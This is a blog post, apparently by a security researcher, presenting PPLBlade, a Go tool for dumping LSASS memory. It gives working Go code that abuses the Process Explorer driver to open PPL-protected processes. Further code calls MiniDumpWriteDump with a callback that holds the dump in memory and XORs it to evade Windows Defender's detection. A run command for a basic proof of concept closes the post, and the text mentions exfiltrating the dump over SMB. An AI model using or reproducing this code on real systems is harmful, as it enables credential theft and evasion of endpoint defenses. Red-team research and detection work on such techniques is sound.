Bypassing Defender’s LSASS dump detection and PPL protection In Go

pepperoni
6 min readAug 29, 2023

Overview

This blog reviews the technique that can be used to bypass Protected Process Light protection for any Windows process using theProcess Explorer driver and explores methods to bypass Windows Defender’s signature-based mechanisms for process dump detection.

The tool introduced in this blog (PPLBlade), is written entirely in GO and can be used as a POC for the techniques overviewed below.

What is Protected Process Light (PPL)

Protected Process Light (PPL) is a security mechanism introduced by Microsoft in Windows 8.1. It ensures that the operating system only loads trusted services and processes by enforcing them to have a valid internal or external signature that meets the Windows requirements. It also restricts access to processes and is used as a self-defense mechanism by anti-malware and Windows native processes.

Bypassing PPL

One of the well-known sysinternal utilities, Process Explorer, uses the PROCEXP152.sys driver to open the handle to a running process.

PROCEXP152.sys can be abused to obtain a PROCESS_ALL_ACCESS handle to a process protected by PPL.

Windows’s native sc.exe can be used to start the driver on the system

sc create [SERVICE_NAME] type=kernel binpath="[PATH_TO_PROCEXP152.SYS]"

To abuse PROCEXP152.sys, first, we need to open the handle to it:

func GetProcExpDriver() (*windows.Handle, error){
name, _ := windows.UTF16PtrFromString("\\\\.\\PROCEXP152")
hDriver, err := windows.CreateFile(name, windows.GENERIC_ALL, 0, nil, windows.OPEN_EXISTING, windows.FILE_ATTRIBUTE_NORMAL, 0)
if err != nil{
return nil, CreateError(err)
}
return &hDriver, nil
}

With an open handle to a driver, we can send control code to it, using WinAPI’s DeviceIoControl function

CONTROL_CODE_OPEN_PROTECTED_PROCESS = 0x8335003c
func DriverOpenProcess(hDriver windows.Handle, pid int) (*windows.Handle, error) {
var hProc windows.Handle
hProcSize := uint32(unsafe.Sizeof(hProc))
inputBuffLen := uint32(unsafe.Sizeof(pid))
var bytesReturned uint32
if err := windows.DeviceIoControl(hDriver, CONTROL_CODE_OPEN_PROTECTED_PROCESS, (*byte)(unsafe.Pointer(&pid)),
inputBuffLen, (*byte)(unsafe.Pointer(&hProc)), hProcSize, &bytesReturned, nil); err != nil{
return nil, CreateError(err)
}
return &hProc, nil
}

This function will instruct the driver to open the handle to a protected process by sending the 0x8335003c control code to it and then return the PROCESS_ALL_ACCESS handle to a PPL process.

MiniDumpWriteDump

After obtaining the PROCESS_ALL_ACCESS handle to a protected process, we can do whatever we want with it, kill it, or even dump its memory using the MiniDumpWriteDump WinAPI function.

Problem with MiniDumpWriteDump

BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);

According to Microsoft’s documentation, MiniDumpWriteDump takes 2 separate arguments, that identify the target process:

[in] hProcess

A handle to the process for which the information is to be generated.

[in] ProcessId

The identifier of the process for which the information is to be generated.

Even if we pass the PROCESS_ALL_ACCESS handle to it as hProcess argument, it will try to open its own separate handle using the ProcessId argument.

Since the MiniDumpWriteDump does not use any special tricks(like the one we used above) and tries to directly open a new handle to a PPL, it will fail.

Why does it need ProcessId? Internally, MiniDumpWriteDump eventually triggers a call to RtlQueryProcessDebugInformation which is where the source of the additional handle comes from.

RtlQueryProcessDebugInformation calls NtOpenProcess to directly obtain a handle to a process and query its information.

In the past, WinAPI did not offer any API call to automatically query PID by process handle. Since MiniDumpWriteDump is a legacy function, it was necessary for it to pass the ProcessId argument manually by the user.

If MiniDumpWriteDump employed more of a modern, GetProcessId, API call, it wouldn’t need a separate argument for process ID. (The problem with the second handle would still remain, it just wouldn’t have been that obvious and visible)

Overcoming problems with MiniDumpWriteDump

Many complex techniques have been explored to work around this problematic behavior of MiniDumpWriteDump.

For example, we can hook NtOpenProcess and make it return the already-opened PROCESS_ALL_ACCESS handle to a PPL. As a result, RtlQueryProcessDebugInformation will receive a handle, that was previously opened by us not directly, but with the PROCEXP15.sys driver, and it will be able to serve its purpose correctly with that handle.

Another more complex solution that requires deep knowledge in reverse engineering, assembly, and 3-month training to defeat Kerberos is...

to just pass 0 to it.

or anything, just give anything to it.

As it turns out, MiniDumpWriteDump does not need the debug information, queried by RtlQueryProcessDebugInformation, to build a dump file. It doesn’t even monitor if it throws errors.

var (
dbghelpDLL = syscall.NewLazyDLL("Dbghelp.dll")
miniDumpWriteDump = dbghelpDLL.NewProc("MiniDumpWriteDump")
)

const (
MiniDumpWithFullMemory = 0x00000002
)
ret, _, err := miniDumpWriteDump.Call(
uintptr(hProc),
uintptr(hFile),
uintptr(0),
uintptr(MiniDumpWithFullMemory),
0,
0,
0,
)

If we use our recently opened PROCESS_ALL_ACCESS handle in the function above, we will successfully generate the MiniDumpWithFullMemory type of dump file of a running PPL process.

BUT, try that will lsass.exe and get ready for that awful Defender’s alert sound, notifying you that the LSASS dump was dropped on the disk.

This brings us to the next part, where we will bypass the Defender’s signature-based process dump detection mechanism.

Evading Defender

MiniDumpWriteDump function offers CallbackParam as its last input parameter.

As Microsoft defines this parameter:

[in] CallbackParam

A pointer to a MINIDUMP_CALLBACK_INFORMATION structure that specifies a callback routine which is to receive extended minidump information.

We can write a custom callback function that will receive the bytes of a dump file.

The callback function will store the bytes in the memory, instead of writing them directly onto the disk.

Bytes, saved in memory, then can be XOR-ed and stored manually on the disk.

After transferring the XOR-ed dump file onto the system with no defenses, it can be reverted to its original state.

Call of MiniDumpWriteDump with a callback:

func MiniDumpGetBytes(hProc windows.Handle) error {
callback := syscall.NewCallback(miniDumpCallback)
var newCallbackRoutine MINIDUMP_CALLBACK_INFORMATION
newCallbackRoutine.CallbackParam = 0
newCallbackRoutine.CallbackRoutine = callback
ret, _, err := miniDumpWriteDump.Call(
uintptr(hProc),
0,
uintptr(0),
uintptr(MiniDumpWithFullMemory),
0,
0,
uintptr(unsafe.Pointer(&newCallbackRoutine)),
)
if ret != 1 && err != nil && err.Error() != ErrReadWriteOnly {
return CreateError(err)
}
return nil
}

Our custom callback function that stores dump file bytes into a dumpBuffer variable:

var dumpBuffer []byte
var dumpMutex sync.Mutex
func miniDumpCallback(_ uintptr, CallbackInput uintptr, CallbackOutput uintptr) uintptr {
newCallbackInput := ptrToMinidumpCallbackInput(CallbackInput)
newCallbackOutput := ptrToMinidumpCallbackOutput(CallbackOutput)
switch newCallbackInput.CallbackType {
case IoStartCallback:
newCallbackOutput.Status = int32(windows.S_FALSE)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
case IoWriteAllCallback:
ioCallback := newCallbackInput.CallbackInfo
copyDumpBytes(ioCallback)
newCallbackOutput.Status = int32(windows.S_OK)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
case IoFinishCallback:
newCallbackOutput.Status = int32(windows.S_OK)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
default:
return 1
}
return 1
}

Note that dbghelp.dll, which exports the MiniDumpWriteDump function, uses 4-byte padding for structs for both, 32bit and 64bit architectures, while Go uses 8-byte padding for 64bit architectures and offers no automatic way of changing it for specific structs.

This causes misalignment issues in structs between dbghelp.dll and our compiled code on 64-bit architectures. To overcome it, we need to manually build structs. Example:

type MINIDUMP_CALLBACK_INPUT struct {
ProcessId uint32
ProcessHandle uintptr
CallbackType uint32
CallbackInfo MINIDUMP_IO_CALLBACK
}
func ptrToMinidumpCallbackInput(ptrCallbackInput uintptr) MINIDUMP_CALLBACK_INPUT{
var input MINIDUMP_CALLBACK_INPUT
input.ProcessId = *(*uint32)(unsafe.Pointer(ptrCallbackInput))
input.ProcessHandle = *(*uintptr)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0))))
input.CallbackType = *(*uint32)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0))))
input.CallbackInfo = *(*MINIDUMP_IO_CALLBACK)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0)) + unsafe.Sizeof(uint32(0))))
return input
}

PPLBlade

PPLBlade is a process memory dumper tool, entirely developed in GO, that demonstrates the techniques overviewed in this blog.

Key functionalities are:

  1. Bypassing Windows PPL protection.
  2. XOR-ing dump file before saving it on the disk.
  3. Transferring dump file onto the remote system without dropping it onto the disk (supports raw and SMB transfers)

The GitHub repository contains the source code and already compiled version of the tool. In addition, deobfuscate.py can be used to revert the XOR-ed dump file to its original state.

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Demonstration

We’re all here for the same thing. So if you don’t want to get lost in the documentation of each option, I got you, let’s get straight into it.

Just run it in “do that lsass thing” mode for basic POC.

PPLBlade.exe --mode dothatlsassthing

It will use PROCEXP152.sys driver to dump lsass.exe. (Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)

--

--